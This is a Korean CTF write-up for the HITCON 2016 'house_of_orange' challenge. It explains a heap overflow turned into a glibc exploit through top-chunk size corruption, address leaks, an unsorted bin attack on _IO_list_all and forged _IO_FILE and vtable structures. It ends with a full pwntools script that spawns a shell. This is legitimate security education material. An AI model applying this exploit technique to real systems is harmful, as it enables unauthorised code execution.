-
HITCON 2016 house_of_orangePwnable/CTF 2017. 12. 11. 22:00
일단 기본적으로 힙 오버플로우 취약점이있다.
그것을 이용하여서 house of orange기법을 써서 푸는문제인데 기법만 이해했으면 쉬운문제인것같다.
사이즈를 0X20FA1 이라면 0xfa1로 만들어주면 탑 청크 사이즈를 조작했을때 오류가 나지 않는다.탑 청크사이즈가 제대로 정렬되어있는지 확인을하는곳 때문에 이상하게 조작하면 오류가 난다.
그리고 top_chunk보다 큰 사이즈를 할당하면 sysmalloc를 하는데 이때 malloc하는 값이 mmap 크기만큼 크지 않으니 할당할려던 청크를 free를 시키고 탑 청크를 새로 배치한다.
house of orange를 할때 라이브러리는 물론 힙 주소도 필요하다.
힙 주소는 large chunk에는 힙 주소를 가르키고있는 fd_nextsize와 bk_nextsize가 생기기때문에 이것을 이용하여서 힙 주소를 릭을 할수있다.
#define fflush(s) _IO_flush_all_lockp
malloc_printerr를 쭈욱 타고 들어가다보면 ffulsh를 따로 정의해놓은것이있다.
이것을 이용하여서 _io_list_all를 변조하는게 주 목적이다.
_io_list_all은 malloc에서 heap 검사중에 오류가 낫을때 사용되는 함수다.
https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp
이 함수를 보면 fp파일 포인터에 _io_list_all을 집어넣고 링크 드리스트 형식으로 돌아가는 코드가 보일것이다.
저 사이트에서 _io_list_all를 쭈욱 타고 들어가다보면 _io_list_all에 stderr를 넣는걸 볼 수 있다.
123456789101112758 for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)759 {760 run_fp = fp;761 if (do_lock)762 _IO_flockfile (fp);763764 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)765 || (_IO_vtable_offset (fp) == 0766 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr767 > fp->_wide_data->_IO_write_base))768 )769 && _IO_OVERFLOW (fp, EOF) == EOF)cs 이 부분이 가장 중요한 부분이다.
mode > 0 ptr, base >, < 등 구문들이 true라면 _IO_OVERFLOW가 실행될텐데
_IO_OVERFLOW는 _IO_FILE_JUMP를 이용하여서 JUMP가 되는 함수 중 하나다.
그렇기 때문에 _IO_JUMP를 조작해주고 OVERFLOW를 실행하기위한 조건들만 만족시켜준다면 쉘을 딸수있을것이다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293215 struct _IO_wide_data216 {217 wchar_t *_IO_read_ptr; /* Current read pointer */218 wchar_t *_IO_read_end; /* End of get area. */219 wchar_t *_IO_read_base; /* Start of putback+get area. */220 wchar_t *_IO_write_base; /* Start of put area. */221 wchar_t *_IO_write_ptr; /* Current put pointer. */222 wchar_t *_IO_write_end; /* End of put area. */223 wchar_t *_IO_buf_base; /* Start of reserve area. */224 wchar_t *_IO_buf_end; /* End of reserve area. */225 /* The following fields are used to support backing up and undo. */226 wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */227 wchar_t *_IO_backup_base; /* Pointer to first valid character of228 backup area */229 wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */230231 __mbstate_t _IO_state;232 __mbstate_t _IO_last_state;233 struct _IO_codecvt _codecvt;234235 wchar_t _shortbuf[1];236237 const struct _IO_jump_t *_wide_vtable;238 };239 #endif240241 struct _IO_FILE {242 int _flags; /* High-order word is _IO_MAGIC; rest is flags. */243 #define _IO_file_flags _flags244245 /* The following pointers correspond to the C++ streambuf protocol. */246 /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */247 char* _IO_read_ptr; /* Current read pointer */248 char* _IO_read_end; /* End of get area. */249 char* _IO_read_base; /* Start of putback+get area. */250 char* _IO_write_base; /* Start of put area. */251 char* _IO_write_ptr; /* Current put pointer. */252 char* _IO_write_end; /* End of put area. */253 char* _IO_buf_base; /* Start of reserve area. */254 char* _IO_buf_end; /* End of reserve area. */255 /* The following fields are used to support backing up and undo. */256 char *_IO_save_base; /* Pointer to start of non-current get area. */257 char *_IO_backup_base; /* Pointer to first valid character of backup area */258 char *_IO_save_end; /* Pointer to end of non-current get area. */259260 struct _IO_marker *_markers;261262 struct _IO_FILE *_chain;263264 int _fileno;265 #if 0266 int _blksize;267 #else268 int _flags2;269 #endif270 _IO_off_t _old_offset; /* This used to be _offset but it's too small. */271272 #define __HAVE_COLUMN /* temporary */273 /* 1+column number of pbase(); 0 is unknown. */274 unsigned short _cur_column;275 signed char _vtable_offset;276 char _shortbuf[1];277278 /* char* _save_gptr; char* _save_egptr; */279280 _IO_lock_t *_lock;281 #ifdef _IO_USE_OLD_IO_FILE282 };283284 struct _IO_FILE_complete285 {286 struct _IO_FILE _file;287 #endif288 #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001289 _IO_off64_t _offset;290 # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T291 /* Wide character stream stuff. */292 struct _IO_codecvt *_codecvt;293 struct _IO_wide_data *_wide_data;294 struct _IO_FILE *_freeres_list;295 void *_freeres_buf;296 # else297 void *__pad1;298 void *__pad2;299 void *__pad3;300 void *__pad4;301 # endif302 size_t __pad5;303 int _mode;304 /* Make sure we don't get into trouble again. */305 char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];306 #endif307 };cs 우리가 주로봐야될 구조체들이다.
_IO_LIST_ALL주소에 _IO_2_1_stderr를 넣었기때문에 쭈욱들어가면 stderr함수를 만나게된다.
맨 처음 값이 매직값이고 다른것은 위쪽 구조체를 참고하면되는데 0x***2620부분이 stdout이다.
그렇게되면 저 주소 부분이 fd역할을 하는 _chain이라는것을 알 수 있다. 구조체 분석해도 알수있음
0x***160 부분이 wide_data부분이다. 저 주소 부분을 힙 주소로 변경하여서 ptr이 base보다 크게끔 주소에 값을 설정해주면된다.
_chain부분을 수정해서 풀수있는데 대충 플래그기준,64bit기준으로 _chain + 140정도에 _chain이 있다.
그럼 그쪽부분에는 smallbin이 저장되어있는곳이여서 smallbin에는 fastbin size도 저장을 할 수 있기때문에 그쪽 주소영역에 해당하는 index를 갖는 fast bin으로 unsorted bin의 주소를 변경해 주면 smallbin 에 값을넣을수있다.
IO_vtable_offset (fp) == 0766 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr767 > fp->_wide_data->_IO_write_base일단 위 조건문을 만족시켜야된다.
293 struct _IO_wide_data *_wide_data;294 struct _IO_FILE *_freeres_list;295 void *_freeres_buf;296 # else297 void *__pad1;298 void *__pad2;299 void *__pad3;300 void *__pad4;301 # endif302 size_t __pad5;303 int _mode;위 부분이 wide 라면 + 24 다음 부분이 mod일것이다.
이렇게되면 wide_data를 주작해주고 그 아래 wide데이터 + 24 부분 mod부분을 수정해주고 _IO_FILE_JUMPS 부분을 조작하여서 io_overflow 부분을 system이나 one_shot 으로 덮어주면될것이다 !
0x00007ffff7dd06e0 = _IO_file_jumps
저 주소안에 + 24를 한 주소가 _io_overflow 부분이다 (나의 우분투 리눅스에서는)
그럼 _IO_FILE_JUMPS가 가르키는 주소에 + 24부분이 _io_overflow라고 생각을하고 실행을할것이다.
구조체값들은 이런식으로 바꿔주면 된다치는데.
unlink도 아니고 fastbin dup같은것도 아닌데 저 주소 부분을 무엇으로 덮나??
unsorted_bin으로 main_arena+88을 덮어줄수있다.(탑 청크 주소 저장) 그리고 그 뒤에 last_remainder,unsorted bin,small bin 이 있다.우리는 _chain을 수정하여서 문제를 풀 수 있다.
_io_list_all를 main_arena + 88로 바꿔주면 64bit 기준으로 + 140? 주소 부분에 _chain주소가 될것이다.
smallbin에는 fastbin size도 저장이되기때문에 size를 저 _chain에 저장되게하는 index를 맞춰서 사이즈를 할당하여 주면 _chain을 내가 조작한 사이즈의 청크의 주소가 들어갈것이다.
그렇게하여서 그 힙 주소에 위 설명에 맞게 조작하여주면 문제를 풀 수 있다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697from pwn import *p=process("./houseoforange")elf=ELF("./houseoforange")def build(size,name,price,color):p.recvuntil(': ')p.sendline("1")p.recvuntil(':')p.sendline(str(size))p.recvuntil(':')p.sendline(name)p.recvuntil(':')p.sendline(str(price))p.recvuntil(':')p.sendline(str(color))print p.recvuntil('Finish')def see():p.recvuntil(': ')p.sendline("2")def upgrade(size,name,price,color):p.recvuntil(': ')p.sendline("3")p.recvuntil(':')p.sendline(str(size))p.recvuntil(':')p.sendline(name)p.recvuntil(':')p.sendline(str(price))p.recvuntil(':')p.sendline(str(color))build(24,"A"*23,1000,1) #1upgrade(70,"A"*24+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1),1,1) #1build(4000,"A"*7,1,1) #2build(1024,"B"*7,1,1) #3see()p.recvuntil("B"*7+"\n")main_arena = u64(p.recv(6)+"\x00\x00") - 88 - 1552libc_base = main_arena - 0x3c4b20_IO_list_all = libc_base + 0x3c5520_IO_stdfile_2_lock = libc_base + 0x3c6770_IO_wide_data_2 = libc_base + 0x3c4660system = libc_base + 0x45390print hex(main_arena)print hex(_IO_list_all)print hex(_IO_stdfile_2_lock)print hex(_IO_wide_data_2)print hex(system)upgrade(16,"B"*15,1,1)see()p.recvuntil("B"*15+"\n")heap = u64(p.recv(6)+"\x00\x00") - 0xc0print "heap_base: "+hex(heap)fake_jump = heap + 0xd0print "jump: "+hex(fake_jump)fake_vtable = p64(0)*9fake_vtable += p64(0) #io_file_fdfake_vtable += p64(2)fake_vtable += "\xff"*8fake_vtable += p64(0)fake_vtable += p64(_IO_stdfile_2_lock)fake_vtable += "\xff"*8fake_vtable += p64(0)fake_vtable += p64(fake_jump+32) #wide_datafake_vtable += p64(0) #freeres_listfake_vtable += p64(0) #freeres_buf #5fake_vtable += p64(0) #pad5fake_vtable += p64(3) #modefake_vtable += p64(0)*2 #nofake_vtable += p64(fake_jump)payload = p64(0) + p64(0) + p64(0) + p64(system)payload += p64(0)*3 #wide_datapayload += p64(1) #write_basepayload += p64(2) #write_ptrpayload += "\x00"*(1024-len(payload))payload += p64(0)payload += p32(0xdada) + p32(0x20)payload += p64(0)payload += p64(0)payload += "/bin/sh\00" #prev_size, io_file flagpayload += p64(0x61) #sizepayload += p64(1) #fdpayload += p64(_IO_list_all - 0x10) #bk -> unsorted bin attack -> io_list_all ptr -> main_arenapayload += fake_vtableupgrade(len(payload)+1,payload,1,1)p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
Christmas CTF 2017 bookstore (0) 2017.12.30 Christmas CTF 2017 infinite cat (0) 2017.12.30 BCTF 2017 Babyuse (1) 2017.12.01 TUCTF 2017 Write up (0) 2017.11.27 CAT_SECURITY WhiteHackerLeague (2) 2017.11.19